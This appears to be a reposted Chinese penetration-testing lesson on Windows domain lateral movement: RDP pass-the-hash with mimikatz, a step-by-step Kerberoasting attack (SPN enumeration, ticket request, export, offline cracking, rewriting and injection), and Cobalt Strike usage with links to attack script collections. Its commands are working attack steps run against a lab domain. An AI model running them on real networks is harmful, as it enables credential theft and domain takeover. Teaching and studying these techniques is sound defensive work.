ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

69:内网安全-域横向CobaltStrike&SPN&RDP

2022-02-20 22:35:38  阅读:201  来源: 互联网

标签:github xxxx RDP https CobaltStrike kirbi SPN com


69:内网安全-域横向CobaltStrike&SPN&RDP

思维导图

本课重点:

  • 案例1:域横向移动RDP传递-Mimikatz
  • 案例2:域横向移动SPN服务-探针,请求,导出,破解,重写
  • 案例3:域横向移动测试流程一把梭哈-CobaltStrike初体验

案例1-域横向移动RDP传递-Mimikatz

除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。

RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 RDP明文密码链接 windows: mstsc mstsc.exe /console /v:192.168.3.21 /admin linux: rdesktop 192.168.3.21:3389   RDP密文HASH链接 windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启, 同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;   开启命令: REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f   开启后运行: mstsc.exe /restrictedadmin mimikatz.exe privilege::debug sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

案例2-域横向移动SPN服务-探针,请求,导出,破解,重写

kerberos中的spn详解:https://www.cnblogs.com/backlion/p/8082623.html

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

SPN扫描

  • 当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务后,SPN也会被记录在计算机账号的相应属性中。
  • SPN扫描也称为”扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大。
  • 由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描。
  • 在域环境中,发现服务的最好办法就是通过”SPN扫描”。通过请求特定SPN类型服务主体名称来查找服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 1探针 setspn -q */* setspn -q */* | findstr "MSSQL"   2请求票据 # 删除缓存票据 klist purge   # powershell请求 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"   # mimikatz请求 mimikatz.exe "kerberos::ask /target:xxxx"   # 查看票据 klist   3导出票据 # mimikatz mimikatz.exe "kerberos::list /export"   4破解票据 # 破解工具tgsrepcrack.py python3环境运行 python tgsrepcrack.py passwd.txt xxxx.kirbi python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi   5重写票据 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存   6利用 dir //xxx.xxx.xxx.xxx/c$

kerberoast下载:https://github.com/nidem/kerberoast

环境准备

案例演示

<1>探针

1 2 setspn -q */* setspn -q */* | findstr "MSSQL"

探针到这么多服务后,我们完全可以按照相关服务的常规攻击手段进行攻击,不一定非要用本案例演示的破解票据手段。

<2>请求票据

1 2 3 4 5 6 7 8 9 10 klist purge //删除缓存票据 klist   //查看票据   # 请求票据 # powershell请求 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"   # 或者mimikatz请求 mimikatz.exe "kerberos::ask /target:xxxx"

<3>导出票据(到mimikatz运行目录)

1 2 # mimikatz mimikatz.exe "kerberos::list /export"

<4>破解票据

1 2 3 # 破解工具tgsrepcrack.py python3环境运行(将票据拖到本地破解) python tgsrepcrack.py passwd.txt xxxx.kirbi python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

破解成功,密码是Admin12345,可以为后续渗透测试做准备。

这种方法得到只是mssql服务账户密码(权限不大),而mssql系统管理员账户密码我们是无法得到的。

<5>重写票据(属于后续攻击,不一定会成功,-u500指的是管理员用户,-g512指的是管理员组)

1 2 3 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存

<6>利用

1 dir //xxx.xxx.xxx.xxx/c$

案例3-域横向移动测试流程一把梭哈-CobaltStrike初体验

CobaltStrike4.0用户手册:https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2

CS神器大概流程:启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透

1.关于启动及配置讲解
2.关于提权及插件加载
3.关于信息收集命令讲解
4.关于视图自动化功能讲解

CobaltStrike Aggressor 脚本合集(可以自行在GitHub搜索):

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 https://github.com/harleyQu1nn/AggressorScripts https://github.com/Und3rf10w/Aggressor-scripts https://github.com/001SPARTaN/aggressor_scripts https://github.com/rasta-mouse/Aggressor-Script https://github.com/threatexpress/aggressor-scripts https://github.com/ramen0x3f/AggressorScripts https://github.com/FortyNorthSecurity/AggressorAssessor https://github.com/michalkoczwara/aggressor_scripts_collection https://github.com/ars3n11/Aggressor-Scripts https://github.com/gaudard/scripts/tree/master/red-team/aggressor https://github.com/bluscreenofjeff/AggressorScripts https://github.com/vysecurity/Aggressor-VYSEC https://github.com/killswitch-GUI/CobaltStrike-ToolKit https://github.com/rsmudge/ElevateKit (第三方提权攻击) https://github.com/QAX-A-Team/CobaltStrike-Toolset https://github.com/DeEpinGh0st/Erebus (Erebus CobaltStrike后渗透测试插件,持续更新) https://github.com/branthale/CobaltStrikeCNA https://github.com/pandasec888/taowu-cobalt-strike(仓库已关闭)

红队实战演练环境:https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug  提取码: taqu

参考: https://hackergu.com/kerberos-sec-spn-search/ https://blog.csdn.net/Waffle666/article/details/120380336

标签:github,xxxx,RDP,https,CobaltStrike,kirbi,SPN,com
来源: https://www.cnblogs.com/bonelee/p/15916792.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有